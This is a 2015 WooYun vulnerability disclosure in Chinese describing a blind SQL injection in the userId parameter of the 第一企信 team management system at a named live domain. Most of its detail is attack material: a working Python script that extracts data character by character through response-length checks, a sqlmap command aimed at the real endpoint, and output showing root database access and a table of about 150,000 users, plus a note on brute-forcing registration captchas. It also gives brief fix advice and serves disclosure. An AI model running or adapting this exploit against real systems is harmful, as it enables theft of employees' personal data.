当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130411

漏洞标题:第一企信团队管理系统某处盲注(众企业用户躺枪)

相关厂商:第一企信

漏洞作者: 路人甲

提交时间:2015-07-30 13:15

修复时间:2015-09-13 13:16

公开时间:2015-09-13 13:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-30: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-09-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

“第一企信,是专为企业开发的一款免费融合通信产品,集移动办公,融合通信,统一通信,企业即时通讯,办公通信,企信,企业社交平台等多种即时通讯功能于一身”
一处比较隐秘的MySQL盲注,可导致用户企业人员架构泄露,全员信息泄露。

详细说明:

网址:https://cms.dyqx.com
注册登陆以后(这里插一句,注册处也有漏洞,通过爆破验证码的方式可以注册任意手机号码。)
点击左侧管理员权限时会发送一个post包

000.png


修改UserId参数发现,加一个单引号报错,加两个单引号就正常。
如图构造盲注测试payload,确认存在盲注漏洞

001.jpg


002.jpg


条件为真是返回一个p-account的值,条件为假则无返回。
利用尝试一:
随后根据返回包的长度写了个EXP

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Cookie': ''} #put your cookie in this
letters = '\0!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz~'
def test(payload, count, num, letter):
s ="' ) and (select ascii((substr((%s limit %d,1),%d,1)))>ascii('%s'))-- -" % (payload, count,num,letter)
body = "userId=u1xxx%s" % urllib.quote(s)
conn = httplib.HTTPSConnection('cms.dyqx.com', timeout=10)
conn.request(method='POST',
url='/user/manager-info',
body=body,
headers=headers)
response = conn.getresponse()
content = response.read()
print "%s : %d" %(letter, len(content))
if len(content) > 4376: #change this value accourding to the response length
return True #the letter should be larger than this guess
else:
return False
def BinSearch(payload,length,count):
output = open('result.txt','a')
output.write('\n'+payload+'::'+str(count)+'\n')
print payload
for i in range(1,length+1):
low = 0
high = len(letters) - 1
while (low != high):
mid = (low+high)/2
if (test(payload,count, i, letters[mid])):
low = mid + 1
else:
high = mid
print "\033[1;32m%s\033[0m" % (letters[low])
output.write(letters[low])
if (high == 0):
break
output.write('\n')
output.close()
print "[*] Finish!"


参考乌云的盲注脚本,采取二分搜索进行读数据。
用ipython 交互式命令行导入BinSearch函数,定义payload为指定SQL查询语句,可以凑合用用。
尝试二:
查阅sqlmap后得知此类盲注可以直接指定--string参数来注入,将--string设为条件为真时出现的字符串即可。

python sqlmap.py -u https://cms.dyqx.com/user/manager-info --data="userId=uxxx" --cookie="" --string="_pa"


这里用_pa字符串作为判断依据,简单而又足够准确。

漏洞证明:

---
Parameter: userId (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: userId=uxxxx') AND 4376=4376 AND ('wTEq'='wTEq
---
[11:15:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux xxx
web application technology: PHP xxx, Apache xxx
back-end DBMS: MySQL xxx
[11:15:25] [INFO] fetching current user
[11:15:25] [INFO] resumed: root@%
current user: 'root@%'


root权限注入点!(为避免过多敏感信息泄露,版本号全部抹去)

Database: xxx
+--------+---------+
| Table | Entries |
+--------+---------+
| `User` | 149530 |
+--------+---------+


将近15w的用户。看了一下还好密码是用类似AES256加密的,破解难度很大。
还发现某个用户表中还存在PlainPassword字段,极少数用户存在明文密码。
登陆后即可查看全公司架构,员工姓名职务电话等敏感信息。
为了证明不是吹牛,漏洞确实能获取企业全员用户信息,上图

Image 1.png


Image 2.png


为了省去不必要的麻烦,还是打了码。
听说root权限还可以get shell?技术不行,证明问题即可,未深入。

修复方案:

看得出来厂商还是在用心做产品的,网站的整体安全防护还是做得不错的。
但是做安全的还是注意到“用户看不到的地方"。
修复建议:
1.过滤参数
2.删除用户表中的密码明文字段
3.注册用户处存在问题,可以改用更为复杂的手机验证码,设置时限

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝